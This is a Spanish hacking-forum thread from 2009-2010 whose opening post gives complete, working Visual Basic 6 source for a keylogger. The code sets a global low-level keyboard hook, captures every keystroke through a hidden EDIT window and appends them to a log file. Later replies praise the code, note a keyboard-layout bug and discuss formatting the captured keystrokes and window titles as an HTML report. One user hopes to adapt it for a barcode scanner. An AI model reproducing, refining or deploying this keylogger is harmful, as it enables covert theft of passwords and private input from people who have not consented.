elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  Keylogger (Otro metodo)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Keylogger (Otro metodo)  (Leído 5,747 veces)
LeandroA
Moderador
***
Desconectado Desconectado

Mensajes: 760


www.leandroascierto.com


Ver Perfil WWW
Keylogger (Otro metodo)
« en: 18 Agosto 2009, 06:58 am »

Hola ya que viene la racha con los Keylogger, pongo otro método, ayer mirando el tuto de Karcrack supuse que tendría que haber otra forma de transladar las teclas, así que se me dió por pasarles los msg del hook a una ventana de tipo EDIT (WM_IME_KEYDOWN), y el resultado fue bastante bueno, inclusive toma las @ y símbolos especiales, excepto los acentos porque si se los dejaba no los agrega a la ventana donde escribía.

Seria bueno que si alguien tiene un teclado inglés lo pruebe a ver si funciona todo bien.

Código
  1. Option Explicit
  2. '------------------------------------
  3. 'Autor:   Leandro Ascierto
  4. 'Web:     www.leandroascierto.com.ar
  5. 'Fecha:   18-08-09
  6. 'En base a tutorial de Karcrack
  7. '------------------------------------
  8. Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
  9. Private Declare Function UnhookWindowsHookEx Lib "user32.dll" (ByVal hHook As Long) As Long
  10. Private Declare Function CallNextHookEx Lib "user32.dll" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByRef lParam As Any) As Long
  11. Private Declare Function PostMessage Lib "user32.dll" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
  12. Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long
  13. Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
  14. Private Declare Function GetWindowTextLength Lib "user32.dll" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
  15. Private Declare Function SetWindowText Lib "user32.dll" Alias "SetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String) As Long
  16. Private Declare Function CreateWindowEx Lib "user32.dll" Alias "CreateWindowExA" (ByVal dwExStyle As Long, ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal hMenu As Long, ByVal hInstance As Long, ByRef lpParam As Any) As Long
  17. Private Declare Function DestroyWindow Lib "user32.dll" (ByVal hwnd As Long) As Long
  18.  
  19. Private Const ES_MULTILINE              As Long = &H4&
  20. Private Const ES_AUTOVSCROLL            As Long = &H40&
  21. Private Const ES_AUTOHSCROLL            As Long = &H80&
  22.  
  23. Private Const WM_IME_KEYDOWN            As Long = &H290
  24. Private Const WM_SYSKEYDOWN             As Long = &H104
  25. Private Const WM_KEYDOWN                As Long = &H100
  26. Private Const WM_KEYUP                  As Long = &H101
  27. Private Const WH_KEYBOARD_LL            As Long = 13
  28.  
  29. Private Const BUFFER_TO_SAVE            As Long = 100
  30.  
  31. Private hEdit                           As Long
  32. Private KBHook                          As Long
  33. Private sTextData                       As String
  34. Private TextLen                         As Long
  35.  
  36.  
  37. Public Sub ManageKeylogger(ByVal Enable As Boolean)
  38.    Select Case Enable
  39.        Case True
  40.            hEdit = CreateWindowEx(0, "EDIT", "", ES_MULTILINE Or ES_AUTOVSCROLL Or ES_AUTOHSCROLL, 0, 0, 0, 0, 0, 0, App.hInstance, 0)
  41.            KBHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KBProc, App.hInstance, 0)
  42.            Debug.Print hEdit
  43.        Case False
  44.            Call UnhookWindowsHookEx(KBHook)
  45.            TextLen = GetWindowTextLength(hEdit)
  46.            If TextLen Then LogToFile App.Path & "\Log.txt"
  47.            DestroyWindow hEdit
  48.    End Select
  49. End Sub
  50.  
  51.  
  52. Private Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long
  53.  
  54.    Select Case wParam
  55.  
  56.        Case WM_KEYDOWN
  57.            If lParam <> 222 And lParam <> 186 Then
  58.                Call PostMessage(hEdit, WM_IME_KEYDOWN, lParam, 0&)
  59.            End If
  60.  
  61.        Case WM_KEYUP
  62.            TextLen = GetWindowTextLength(hEdit)
  63.            If TextLen > BUFFER_TO_SAVE Then
  64.                LogToFile App.Path & "\Log.txt"
  65.            End If
  66.  
  67.        Case WM_SYSKEYDOWN
  68.            Call PostMessage(hEdit, WM_IME_KEYDOWN, lParam, 0&)
  69.  
  70.    End Select
  71.  
  72. End Function
  73.  
  74.  
  75. Private Sub LogToFile(ByVal sPath As String)
  76.  
  77.    sTextData = String(TextLen + 1, Chr$(0))
  78.    GetWindowText hEdit, sTextData, TextLen + 1
  79.    SetWindowText hEdit, vbNullString
  80.  
  81.    Open sPath For Append As #1
  82.        Print #1, sTextData
  83.    Close #1
  84.  
  85. End Sub
  86.  
  87.  

 Saludos.




En línea

[Zero]
Wiki

Desconectado Desconectado

Mensajes: 1.082


CALL DWORD PTR DS:[0]


Ver Perfil WWW
Re: Keylogger (Otro metodo)
« Respuesta #1 en: 18 Agosto 2009, 11:03 am »

Buenísimo, no se me habría ocurrido, bien pensado  ;-).

Saludos


En línea


“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche
gusyluz666

Desconectado Desconectado

Mensajes: 2


Ver Perfil
Re: Keylogger (Otro metodo)
« Respuesta #2 en: 18 Agosto 2009, 12:04 pm »

Hola,

Soy nuevo en el foro tengo alguna duda...

Estoy intentando desarrollar una aplicación en access para que lea la entrada de teclado hasta que reciba unas teclas delimitadoras por ejemplo *111111*. La idea es usar un lector láser de códigos de barras para que cada vez que lea lo inserte en la base de datos. He probado el código que has colgado anteriormente y me funciona pero claro no es automático y lo mete en un fichero. Lo he he hecho mediante dos botones, uno que crea el buffer y otro que lo destruye.

Me gustaría adaptarlo o crear uno nuevo para que leyera hasta que encontrará un * y en caso contrario que no hiciera nada...

podriais darme una idea o algun ejemplo...ando un poco perdido..

espero haberme explicado bien...

un saludo y muchas gracias. :D
En línea

Karcrack


Desconectado Desconectado

Mensajes: 2.416


Se siente observado ¬¬'


Ver Perfil
Re: Keylogger (Otro metodo)
« Respuesta #3 en: 18 Agosto 2009, 14:59 pm »

Muy bueno ;D

Funciona con el teclado ingles... pero si cambio el Layout del teclado a Español para usar mi teclado USB al presionar por ejemplo la Ñ aparece una comita simple ', que esta en la posicion de la Ñ si usara el teclado Ingles...

Hay que trabajar con Layouts por lo visto :(

Buena alternativa para evitar tener que hacer comparaciones por caracter ASCII te has ganado un 10!!

Saludos ;)
En línea

pana88

Desconectado Desconectado

Mensajes: 76


Fhacking


Ver Perfil WWW
Re: Keylogger (Otro metodo)
« Respuesta #4 en: 17 Marzo 2010, 06:56 am »

quiero agregarle formato a la salida , pero he intentado y no puedo hacerlo , tenes una idea de como seria , solo pude editar la parte de arriba y las teclas presionadas salen igual ...

Código
  1. If sRet <> "" Then
  2.  
  3. SaveLog  'chorraso de html y sus comillas
  4. "<table borderColor=" & Chr(34) & "#000000" & Chr(34) &
  5. "cellSpacing=" & Chr(34) & "0" & Chr(34) & "width=" & Chr(34) &
  6. "550" & Chr(34) & " border=" & Chr(34) & "1" & Chr(34) &
  7. "><tr bgColor=" & Chr(34) & "#3399ff" & Chr(34)
  8. & "><td borderColor=" & Chr(34) & "#000000" & Chr(34)
  9. & " align=" & Chr(34) & "center" & Chr(34) & " colSpan=" & Chr(34)
  10. & "2" & Chr(34) & "><B>" & Now &
  11. "</B></td></tr><tr><td class=" & Chr(34) & "desc" & Chr(34)
  12. & " width=" & Chr(34) & "114" & Chr(34) & "> Ventana: </td>
  13. <td class=" & Chr(34) & "Noticia" & Chr(34) & ">" & GetWindowText(lParam)
  14. & "</td>" & vbCrLf & sRet & vbCrLf & "</tr><tr><td class=" & Chr(34) &
  15. "desc" & Chr(34) & "></tr><tr>   <td class=" & Chr(34) & "desc" & Chr(34)
  16. & ">Descripción:</td>" & Chr(34) & String(100, "<br>") & vbCrLf
« Última modificación: 17 Marzo 2010, 07:00 am por pana88 » En línea

BlackZeroX
Wiki

Desconectado Desconectado

Mensajes: 3.158


I'Love...!¡.


Ver Perfil WWW
Re: Keylogger (Otro metodo)
« Respuesta #5 en: 17 Marzo 2010, 11:01 am »

ante que nada no revivas Posty viejillos,

una dato seria hacer una constante con el formato predeterminado y con palabras clave que pasarias en la funcion replace() de vb6 posteriormente concatenbas con una variable X pero antes de todo esto concatenar el encabezado del html y al finalizar poner el pie del html, realmente no es dificil.

la contante seria una plantilla.

Sangrieto Infierno Lunar!¡.
En línea

The Dark Shadow is my passion.
MCHF10

Desconectado Desconectado

Mensajes: 7


Ver Perfil
Re: Keylogger (Otro metodo)
« Respuesta #6 en: 18 Marzo 2010, 01:02 am »

Interesante, gracias.
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
DNS Spoofing - Otro Método...
Hacking
isseu 6 17,609 Último mensaje 8 Marzo 2011, 07:08 am
por S1dD3xt35
Llamar a otro metodo netbean grafico
Java
aldg 0 2,042 Último mensaje 21 Febrero 2012, 17:53 pm
por aldg
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines